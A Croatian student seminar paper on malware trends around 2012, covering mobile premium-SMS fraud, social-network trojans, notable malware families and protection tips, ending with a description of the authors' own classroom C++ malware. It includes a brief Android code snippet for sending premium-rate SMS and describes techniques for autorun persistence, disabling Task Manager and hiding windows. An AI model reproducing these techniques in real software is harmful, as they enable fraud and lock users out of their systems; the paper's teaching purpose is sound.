Proteklih pet godina stručnjaci ThreatMetrix(platforma za obranu od cyber kriminala), pružatelji online sigurnosti i malware detekcije, su pratili malware. Na temelju napada, vidjeli su više od 700 klijenata(korporacija) i raznih dijelova svijeta, pa ThreatMetrix tim dolazi do karakteristika koje obilježavaju nove malware-e. Neki od problema su očiti, kao što je povećavanje malware-a koji napadaju mobilne aplikacije. Ono čemu proizvođači malwera posvećuju pozornost je to da potrošači sve više koriste mobitele u razne svrhe, uključujući mobilno bankarstvo i trgovanje. ThreatMetrix primjećuje i druge manje prijetnje, uključujući i potencijalne prijetnje koje za Apple iOS platformu predstavlja višu razinu sigurnosti. Na temelju analiza koje su trajale pet godina tim je osmislio vodeće malware trendove.


1. Mobiteli: Nova meta

Malware-i se brzo razvijaju. Online aplikacije poput onih za Android telefone, već su na meti. Ali to nije samo open-source platforma kojoj je nužno posvetiti najviše brige. Neki od zaštićenih operacijskih sustava, kao što je Appleov iOS, su isto zabrinjavajući jer su previše sigurni. Naime, instalirati bilošta od malware-a na iPhone jer dosta teško. Problem je tome što Apple sprječava tvrtke koje se bave sigurnosti, da pružaju svoje usluge sigurnosti za iPhone. Dakle, ako kreator malware-a pronađe ranjivost i ako ne znamo kako ga zaustaviti, onda može nastati pravi kaos. Iako nedostatak protumjere za rješavanje tih ranjivosti predstavlja rizik, poduzeća ne mogu priuštiti da se ograniče vrstu mobilnih platformi i uređaje koji ih podržavaju. Banke ne mogu reći da ne žele podršku za Android ili Apple. Jer npr. Android ima veliki broj korisnika. Trenutno oko 50% pametnih telefona koristi Android platformu. Za borbu protiv trenda "Nova meta" financijske institucije bi trebale dobiti informacije o uređajima potrošača i članova koji koriste internet bankarstvo. Također bi trebali nadzirati ponašanje kada se pristupi određenom korisničkom računu preko mobilnog uređaja.

Nakon što su primijetile povećanje rizika, neke institucije su postrožile i ograničile transakcije. Ali to nije rješenje, jer potrošač i dalje ima pristup svom računu.

Sve prethodno navedeno i vezano uz trend "Nova meta" predstavlja jednu vrstu napada na mobilne uređaje. Nadalje, napade na mobilne uređaje još možemo podijeliti na sljedeće 3 vrste:


Spyware - Kako je pametni telefon postao središnje mjesto komunikacije mnogih ljudi, tako je količina povjerljivih podataka na njemu porasla. Na prosječnom Android uređaju možemo pronaći: SMS poruke, poruke elektroničkne pošte, osobne zapise, razne dokumente, lozinke i korisnička imena. To su sve podaci koji, iako ne daju neku direktnu financijsku korist, mogu puno značiti pri uspostavi phishing napada, praćenje korisnika, otkrivanju njegove lokacije i općenito boljem profilu potencijalne žrtve nekog daljnjeg napada. Tako pri instalaciji nekog softvera,odnosno spywera, na Android mobilnim uređaj imamo upozorenja koja govore da taj softver želi koristiti npr. mrežna sučelja, podatke o lokaciji, sistemske alate i sl. To bi korisnicima mogao biti koristan način da prepoznaju spyware. Jer ako instaliramo neku igricu za koju nije potreban internet tada je sumnjivo to da igrica zahtjeva korištenje mrežnog sučelja.

To možemo vidjeti na sljedećem primjeru.

Mobilni spyware.png


Manipulacija naplatnim uslugama - Uobičajeni tip napada koji dovodi do indirektne financijske koristi je lažiranje broja klikova na kontekstulane oglase, no na pamentim telefonima su se pojavile dodatne mogućnosti naplate. Android.Bgserv se pojavio u kini i dio je organiziranog napada. Napadač je registrirao TV kanal koji je dostupan kroz mobilnu mrežu i zarađuje na temelju broja korisnika koji su posjetili njegov kanal. Malware poziva određeni URL na kojemu je taj kanal dostupan i svakim zahtjevom naplaćuje korisniku posjet i dohvat video sadržaja.


Kontaktiranje visokotarifnih brojeva - U svim zemljama postoje razni brojevi čije se kontaktiranje plaća više nego uobičajena SMS poruka ili poziv. Kod ove vrste, napadač uspostavi visokotarifni broj sa operaterom te nakon toga prima postotak od svake interakcije sa korisnikom. Nakon toga izradi aplikaciju koja naizgled radi nešto legitimno i postavi ju na Google Play(ako se radi od Anodrid aplikaciji). Kada korisnik skine takvu aplikaciju, pri instalaciji aplikacija traži prava za korištenje SMS poruka i poziva. Aplikacije često zbog velikih biblioteka koje koriste trebaju prava nad resursima koje realno ne trebam pa korisnici prestaju detaljno obraćati pažnju na prava koja aplikacija traži. Primjer takve aplikacije je Androdi.FakePlayer. Aplikacija pri svakom pokretanju šalje dvije SMS poruke. Jednu cijene 3.5$, a druga cijene 6$. Sam kod za slanje SMS poruka unutar Androida je iznimno jednostavan.

Potrebno je u manifest.xml datoteci postaviti zahtjev za resursom slanja SMS-a sljedećom linijom koda.

<per>uses-permission android:name=“ android.permission.SEND_SMS</pre>

Unutar aplikacije sa nekoliko linija koda moguće je poslati SMS na zadani broj sa odabranim textom.

PendingIntent pi = PendingIntent.getActivity(this, 0,
              new Intent(this, SMS.class), 0);
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage("3354", null, "Nagradna", pi, null);

Pri instalaciji takvog softvera korisniku će biti naznačeno da softver mora imati pristup slanju SMS-a. Razumski se može često zaključiti kako nekim aplikacijama taj pristup stvarno nije potreban. Primjer takve instalacije je dan na sljedećoj slici gdje se radi o malicioznoj verziji MiniOpere.

MiniOpera.png

2. Društvene mreže za širenje trojanaca

Društvene mreže su dokazale da se savršena mjesta za širenje trojanaca i drugih zlonamjernih softvera. Twitter je posebno zabrinjavajući. Postoji niz high-profile računa koji su preuzeti od strane napadača, a jednom kad se to dogodi, širenje malware-a postaje dosta lako. Na primjer: Twitter profil sa milion obožavatelja je atraktivan. Jednom kad napadač preuzme taj profil on može poslati maliciozni link svakom obožavatelju. Kad obožavatelji prime link, oni će vrlo vjerojatno kliknuti na njega jer vjeruju izvoru s kojeg je link poslan, odnosno, vjeruju atraktivnom profilu koji je hakiran. Problem sa svim društvenim mrežama je povjerenje. Ako smo povezani s nekim na LinkedIn, Twitter ili Facebook društvenoj mreži, tada mi vjerujemo onome što nam šalje taj netko s kim smo povezani. Društvene mreže su dobra mjesta za širenje takozvanog, drive-by trojanca. Kod drive-by napada, računalo se zarazi samo posjećivanjem stranice koja sadrži maliciozni kod. Kad se link na zaraženu stranicu pošalje preko društvene mreže, rezultati mogu biti katastrofalni.

Hakiranje portala za vijesti, 2010. godine u Nizozemskoj, dovelo je do toga da su stotine tisuća korisnika zaražene Carberp Trojancem. Glavna meta Carberp Trojanca su korisnici Facebooka, ali za razliku od većine Facebook napada koji pokušavaju pokupiti podatke za prijavu, Carberp pokušava ukrasti novac tako što ponudi korisniku da unese podatke od nekog računa na kojem ima novce. Te iste godine, ovaj virus je ukrao 2, 800 000€. Search-engine inficiranje je još jedan problem. Ne distribuira se putem društvenih mreža već se oslanja na ponašanje korisnika. Radi na način da se za neku stvar(npr. vijest) napravi alternativa koja je zapravo zaražena. Na primjer: ako postoje neka aktualna događanja i mnogi ljudi ih traže preko Google-a, tada će napadači naći sliku koja je vezana uz tu temu i zaraziti je malware-om. Kad se slika otvori, sustav je zaražen. Jedan od konkretnih primjera je sljedeći: Ponor dug 40 metara koji se pojavio u Njemačkom stambenom naselju, bila je svjetska novost. Ako bi tu vijest tražili preko Google-a i kad bi kliknuli na sliku koja predstavlja tu vijest, automatski bi zarazili računalo.

Ponor.png

Najbolja obrana je edukacija. Borba protiv hakerskih napada pomoću tehnologije je nužno ali ne i dovoljno rješenje. Sigurnosna industrija širi tu poruku posljednjih nekoliko godina.

3. Napad, Čovjek u pregledniku (Man-in-the-Browser)

Man-in-the-Browser napadi, čija je glavna moć pop-ups, su u porastu i predstavljaju zabrinjavajuće rizike, posebno za financijske institucije. Trojanci mogu uputiti JavaScript-u da provodi transakcije u pozadini. Trojanci su često ugrađeni u legitimnim pop-up oglasima. Jednom kad se korisnik internet bakarstva prijavi i klikne pop-up, tada je trojanac pokrenut. Napadači mogu trenirati Trojance za određene institucije. Ovi napadi se ne događaju svaki dan, ali kad se dogode onda su uspješni. Preporučuju se 2 načina obrane od ovakvih napada.

4. Suočavanje s rastom BYOD (Bring your own device)

Omogućavanje zaposlenicima da koriste svoje vlastite uređaje u poslovne svrhe predstavlja novi sigurnosni izazov. Svaki uređaj koji tvrtka ne kontrolira, a koji se spaja na korporativne baze podataka i servere je sigurnosni rizik. Organizacije mogu smanjiti BYOD rizik ograničavanjem pristupa korisnika prema korporativnim informacijama. Oni također trebaju koristiti jake sustave za otkrivanje prijevara koji će otkriti kada su baza podataka i poslužitelj pozvane na daljinu, i, u konačnici, vraćati neželjene događaje vezane za malware, ako se oni pojave.



Top pet malicioznih koda 2012. godine

Iako su operacijski sustavi kao i većina programa razvijeni tako da što bolje odolijevaju napadima raznih vrsta malicioznih kodova, prijetnje koje dolaze su veće nego ikad. Tijekom protekle godine, otkriveno je nekoliko sasvim novih malicioznih programa. U nastavku ćemo ukratko opisati najopasnije malvere koji su otkriveni tijekom 2012. godine.


Flame - tijekom 2012. godine ruska sigurnosna tvrtka Kaspersky Lab je otkrila masovni računalni napad kodnog imena Flame. Zlonamjerni program je prepoznat kao Worm.Win32.Flame, a vjeruje se da je aktivan od 2010. godine. Nakon inficiranja računalnog sustava, Flame započinje s nizom složenih operacija koje uključuju praćenje mrežnog prometa, uzimanje screenshota, presretanje tipkovnice pa čak i praćenje zaslona. Nakon izvršenog napada, informacije se šalju na servere koji se nalaze u različitim dijelovima svijeta. Flame je prvi puta detektiran u Iranu te zatim u Izraelu, Sudanu, Siriji, Libanonu i Egiptu. Iako Flame ne čini nikakvu štetu na samom računalnom sustavu, zbog njegove mogućnosti, krađe vrlo važnih podataka, mnogi ga stručnjaci opisuju kao najsloženija prijetnja računalnoj sigurnosti koja je ikada otkrivena te se iz tog razloga u istraživanje napada malvera uključila i Međunarodna telekomunikacijska unija.

Flame je izvršio više od 600 napada na pojedince, poslovne i vladine sustave. Važno je napomenuti kako je veličina spomenutog malvera oko 20MB što ga razlikuje od većine ostalih. Kod je napisan u skriptom jeziku Lua, koristi pet različitih enkripcijskih metoda i jednu SQLite bazu podataka za pohranu informacija. Flame također ima i karakteristike trojanca i računalnog crva te se nakon početnog inficiranja računalnog sustava dodaju mnogi moduli za obavljanje određenih zadataka.


trojan.Win32.Generic - sljedeći malver koji smo istaknuli je trojan.Win32.Generic koji ima karakteristike destruktivnog programa te koristi programske ranjivosti i omogućuje napadaču pristup zaraženom računalu. Djeluje kao backdoor i obavlja više zadataka istovremeno. Trojan.Win32.Generic ima sposobnost da izmjeni podatke u konfiguraciji sustava te na taj način učini računalo potpuno neupotrebljivo i beskorisno. Također, važno je napomenuti kako se smatra većom prijetnjom od INF.Autoruna koji je zarazio mnogo računala posljednjih nekoliko godina. Kao i za većinu malvera, najbolja prevencija je omogućavanje firewalla, redovito ažuriranje računala te antivirusnog programa.


Artemis trojan - Artemis trojan je računalni virus koji ima sposobnost da se u potpunosti poremeti zaraženo računalo prikazivajući reklame ili čak lažna sigurnosna web stranica. Puno McAfee AntiVirus korisnika je primilo obavijest da je njihovo računalo zaraženo Artemis trojanom, što ne mora biti točno. Artemis je ime antivirusnog heurističkog alata za detekciju malvera. Heuristika može dati i "lažne" rezultate, eng. False positives. Ti rezultati mogu biti npr. da antivirus detektira "čist" program kao virus. False negatives su suprotno od False postitives, tj. virusi koje antivirusni program nije deteketirao.


Flashback trojan - Do nedavno su Apple korisnici uživali optimalnu sigurnost obzirom kako su crvi, virusi i hakeri bili na vrlo niskoj razini što se tiče Mac operativnih sustava. Međutim, s pojavljivanjem Flashback trojana cijela stvar se značajno promijenila. Flashback trojan stručnjaci smatraju najvećom sigurnosnom katastrofom koja je pogodila Macove. Uglavnom, eksploatacija leži u Javi i jednom kada korisnik posjeti zaraženi link, JavaScript omogućuje da se izvršna datoteka skine na računalo. Nakon što je računalo zaraženo, virus može raditi što god želi te time stvara veliku prijetnju za računalnu sigurnost. Prva verzija Flashbacka je otkrila antivirusna kompanija Intego u rujnu 2011. godine. Apple je vrlo brzo nakon pojave Flashback trojana omogućio sigurnosno ažuriranje, međutim ovaj incident je pokazao prilično veliku rupu Mac OS-a.


Scrinject.b - Još jedan popularan malver koji je dominirao tijekom protekle godine je Scrinject.b. Spomenuti malver je zabilježio infekcijsku stopu od 6,95% u Europi te je preuzeo prvo mjesto od INF.Autorun. Scrinject.b je generički otkrivanje HTML web stranice koja sadrži jednu nerazumljivu skriptu ili iframe oznaku koja automatski preusmjerava korisnika na preuzimanje malvera.

Kako se zaštiti od malicioznog koda

Računalni virusi su oduvijek izazivali strah kod korisnika računala. Pojmovi kao što su virus, maliciozni kod, trojanac i slično asocira na nešto što pravi štetu, uništava i zadaje probleme. Kako bismo spriječili njihovo inficiranje, razmnožavanje, širenje te preuzimanje kontrole nad računalnim sustavom, potrebno se zaštiti. U nastavku ćemo opisati nekoliko osnovnih pravila što se tiče zaštite od neželjenih programa koje bi trebao znati svaki korisnik računala.


Instaliranje antivirusnog programa – instaliranje antivirusnog programa je prvi korak kod zaštite od malvera. Antivirusni programi pregledavaju računalo i traže viruse koji pokušavaju zaraziti poruke e-pošte, operacijski sustav ili datoteke. Obzirom kako se gotovo svakodnevno pojavljuju nove vrste zlonamjernih programa, vrlo je važno redovito ažurirati antivirusni program. Važno je napomenuti kako osim komercijalnih sigurnosnih rješenja (Norton Antivirus, BitDefender Antivirus Pro, Avast Pro Antivirus itd.) postoje i besplatna (Avast! Free Antivirus, Avira AntiVir Personal Free AntiVirus, Microsoft Security Essentials 1.0 itd.) koji pružaju visoku razinu zaštite. Postoji nekoliko metoda koje antivirusni program koristi za identifikaciju malicioznog programa. Ovisno od programa može se koristiti i više metoda. Jedna od najraširenijih metoda je Detekcija bazirana na uzorcima. Da bi pronašao virus ili neki drugi maliciozni program, softver uspoređuje sadržaj datoteke sa sadržajem kataloga uzorka virusa. Heuristička metoda je metoda koja se koristi kod novih i nepoznatih virusa. Može se koristiti na dva načina: analiza datoteka i emulacija datoteka. Analiza datoteka je proces traganja za sumnjivim programskim naredbama u datotekama. Slabost ove metode je to što ona može znatno usporiti računalni sustav provjeravajući veliki broj datoteka. Emulacija datoteka je metoda koja izvršava program u virtualnom okruženju i bilježi sve akcije koje on izvrši. Analizom zabilježenih akcija može se utvrditi može li program ugroziti računalni sustav.


Korištenje vatrozida - vatrozid odnosno firewall za Windows ili bilo koji drugi vatrozid obavijestit će vas ako na računalu dođe do sumnjivih aktivnosti ili ako se virus ili crv pokuša povezati s računalom. Vatrozid također može spriječiti viruse, crve i hakere da na vaše računalo preuzmu potencijalno štetne programe. Pruža zaštitu tako da obavlja filtriranja, analizu i provjeru paketa podataka koji nose informacije sa i na Internet. Vatrozid je napravljen da bi zaštitio povjerljive korisničke podatke od neautoriziranih korisnika blokiranjem i zabranom prometa prema pravilima koje korisnik sam određuje.


Redovito ažuriranje Windowsa - Microsoft povremeno izdaje posebna sigurnosna ažuriranja koja olakšavaju zaštitu računala. Ova ažuriranja pomažu spriječiti viruse i ostale napade na računalo zatvaranjem mogućih sigurnosnih rupa. Kada uključite automatsko ažuriranje, većina će se ažuriranja preuzeti i instalirati, bez ikakve asistencije korisnika.


Korištenje blokatora pop-up prozora sa svojim preglednikom - Skočni odnosno pop-up prozori mali su prozori preglednika koji se pojavljuju na dijelu web stranice. Iako većinu tih prozora stvaraju oglašivači, oni mogu sadržavati zlonamjerni ili nesigurni kod. Blokator skočnih prozora može spriječiti pojavu nekih ili svih takvih prozora.

Izrada, testiranje i uklanjanje malicioznog koda

Izrada malicioznog koda

Za praktični dio rada, odlučili smo izraditi maliciozni kod u programskom jeziku C++ u Dev C++ okruženju. U nastavku rada ćemo prikazati kod te detaljnije objasniti funkcije. Također, na kraju rada pokazat ćemo jedan način uklanjanja izrađenog malicioznog koda koji je bio demonstriran na vježbama iz kolegija Sigurnost informacijskih sustava.

Prva funkcija je startUp(). Navedena funkcija kopira program u sistemski folder te ga dodaje u registry kako bi se program pokrenuo prilikom svakog podizanja Windowsa.


MalverGL 1.PNG


U našoj prvoj funkciji startUp() koristili smo Windows funkciju GetModuleFileName koja u varijablu path sprema putanju do našeg programa. Funkcija GetSystemDirectory sprema putanju do sistemskog foldera, a RegOpenKeyEx otvara registry ključ u koji postavljamo vrijednosti uz pomoć RegSetValueEx funkcije. Obzirom kako izrađujemo program u svrhu edukacije, za ime pod kojim će se program prikazati u Autorun Entry listi odabrali smo „sis“ kako bismo ga lakše prepoznali prilikom testiranja. Uobičajeni nazivi su „Windows update“, „Windows firewall“ ili nazivi nekih antivirusnih programa.

Sljedeća funkcija je hideStartBar() koja uz pomoć FindWindow pronalazi startnu traku nakon čega EnableWindow naredba istu sakriva.


MalverGL 2.PNG


Funkcija disableTaskManager() onemogućava korištenje Task Managera te tako ne dopušta žrtvi prekidanje izvođenja programa.


MalverGL 3.PNG


Kako bismo otežali prekidanje izvođenja programa implementirana je funkcija hideWindow() u kojoj je definirano da se ne prikazuje konzolni prozor.


MalverGL 4.PNG


SetConsoleTitle postavlja ime za otvoren konzolni prozor, dok je ShowWindow funkcija definirana tako da isti sakrije. Kako bi sam program bio zanimljiviji openSomething() funkcija ima nekoliko zadaća. Nakon što se pokrene, funkcija Beep osigurava zvuk frekvencije 500Hz koji traje pola sekunde te se otvara MyDocuments. Nakon 25 sekundi funkcija ponovno „bipne“ i otvara se Notepad u minimiziranom obliku. Zadnja funkcionalnost je otvaranje slike u Paint programu.


MalverGL 5.PNG


Posljednja funkcija je main() u kojoj smo definirali ukupno 5 dretvi tj. za svaku prethodnu funkciju po jednu. Također uključili smo i while petlju kako bi se glavna funkcija, a time i cijeli program, beskonačno izvodio.


MalverGL 6.PNG


Kompletni kod moguće je preuzeti na sljedećem linku: https://dl.dropbox.com/u/70193766/sis.rar

Testiranje malicioznog koda

Kako bismo se uvjerili da ranije opisani maliciozni kod funkcionira, potrebno je izvršiti testiranje. Prvo ćemo iskoristiti mogućnosti besplatnog alata Autoruns te ćemo provjeriti nalazi li se program, nakon pokretanja, na Autorun Entry popisu. 


Autorun Entry popis


U spomenutom programu osim naziva našeg malvera, vidimo i gdje se skriva te na taj način olakšava pronalaženje i uklanjanje istog. Nakon što smo se uvjerili da se program nalazi na Autorun Entry listi, pokušat ćemo pokrenuti Task Manager. Obzirom kako nam je startna traka skrivena, prvo ćemo pokrenuti „Run“ preko prečaca Windows + R nakon čega je potrebno upisati „taskmgr“ za pokretanje Task Managera.


Onemogućen Task Manager


Za kraj testiranja izrađenog malicioznog koda, prikazat ćemo kako izgleda ekran 2 minute nakon pokretanja programa.


Ekran nakon 2 minute


Prije svega, važno je primijetit kako je konzolni prozor sakriven isto kao i startna traka. Također, vidljivo je da nema startne trake što izaziva dodatnu „paniku“ kod žrtve. Uz dva otvorena prozora Paint programa te My Documents, kombinacijom tipki Alt i Tab vidimo kako su aktivna i dva minimizirana prozora u Notepadu. Nakon izvršenog testiranja, možemo zaključiti kako izrađeni maliciozni kod radi sve ono što je ranije planirano.

Uklanjanje malicioznog koda

Kao što smo već ranije napomenuli, za kraj rada ćemo pokazati jedan od načina na koji se može ukloniti maliciozni kod. Jedan od najjednostavnijih načina je skeniranje računala s nekim antivirusnim programom. Kako sve ne bi bilo prejednostavno, mi ćemo uz pomoć besplatnog alata Process Explorer isključiti izvođenje malicioznog koda te ćemo ga zatim izbrisati iz sistemskog foldera.


Isključivanje izvođenja malicioznog koda pomoću ProcessEx


Nakon što smo isključili izvođenje našeg programa pomoću Process Explorera, potrebno je isti izbrisati iz sistemskog foldera te na taj način onemogućiti njegovo ponovno pokretanje prilikom sljedećeg podizanja Windowsa.


Uklanjanje malicioznog koda iz sistemskog foldera


Nakon uklanjanja malicioznog koda iz sistemskog foldera, potrebno je još samo izvršiti reset računala kako bi se vratila startna traka nakon čega će računalo biti u istom stanju kao i prije pokretanja neželjenog programa.


Zaključak

Tijekom pisanja ovog rada te izrade praktičnog dijela shvatili smo kako zapravo vrlo malo znamo o sigurnosnim prijetnjama s kojima se gotovo svakodnevno susrećemo. Iako naš maliciozni kod ne može nanijeti veliku štetu inficiranom računalu, želimo istaknuti kako nam je izrada praktičnog dijela našeg rada bila posebno zanimljiva. Zbog nedostatka vremena, nismo bili u mogućnosti izraditi napredniji maliciozni kod koji bi nanosio „pravu“ štetu žrtvi, ali, želja nam je u budućnosti više proučavati ovo područje računalne sigurnosti. Kako bismo čitateljima našeg rada predočili neke novitete na području malicioznih programa, ukratko smo obradili top pet malicioznih programa 2012. godine prema portalu http://tech2.in.com/.


Također, uz razradu raznih vrsta zloćudnih programa, u ovom radu smo opisali neka pravila kojih bi se trebao pridržavati svaki korisnik kako bi njegovo računalo bilo „djelomično sigurno“. Govorimo o „djelomično sigurnom“ jer nakon ovog rada, mišljenja smo da potpuna sigurnost računalnog sustava ne postoji i vjerojatno nikad neće postojati jer koliko napreduju razni softveri za očuvanje sigurnosti računalnog sustava toliko napreduju i programi domišljatih napadača.

Literatura

TOMISLAV LANDEKA

[1] Bank info Security, Top 4 Malware-Related Issues for 2012. Dostupno na: http://www.bankinfosecurity.com/top-4-malware-related-issues-for-2012-a-4808/op-1, 17.01.2013

[2] CARnet, Maliciozni programi na Android operacijskom sustavu. Dostupno na: http://www.cert.hr/sites/default/files/NCERT-PUBODC-2012-03-335.pdf, 17.01.2013.

[3] FESB, Sigurno osobno rašunalo. Dostupno na: http://marjan.fesb.hr/~pravdica/srm/Sigurno_osobno_racunalo.pdf, 17.01.2013.

[4] Intern0t forum, How to write a virus in C++. Dostupno na: http://forum.intern0t.org/c-c/666-how-write-virus-c.html , 09.01.2012.


KRUNOSLAV GRČEVIĆ

[5] Karan Shah, Top five malware of 2012. Dostupno na: http://tech2.in.com/features/general/top-five-malware-of-2012/311292, 17.01.2012.

[6] Wikipedia, Antivirusni program. Dostupno na: http://bs.wikipedia.org/wiki/Antivirusni_program , 18.01.2012.

[7] Microsoft, Zaštita računala od virusa. Dostupno na: http://windows.microsoft.com/hr-HR/windows7/How-can-I-help-protect-my-computer-from-viruses, 18.01.2012.

[8] Intern0t forum, How to write a virus in C++. Dostupno na: http://forum.intern0t.org/c-c/666-how-write-virus-c.html , 09.01.2012.

[9] rohitab.com forum, Smith's C++ Virus Writing Guide. Dostupno na: http://www.rohitab.com/discuss/topic/11308-smiths-c-virus-writing-guide, 11.01.2012.

Podjela posla

TOMISLAV LANDEKA



KRUNOSLAV GRČEVIĆ

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima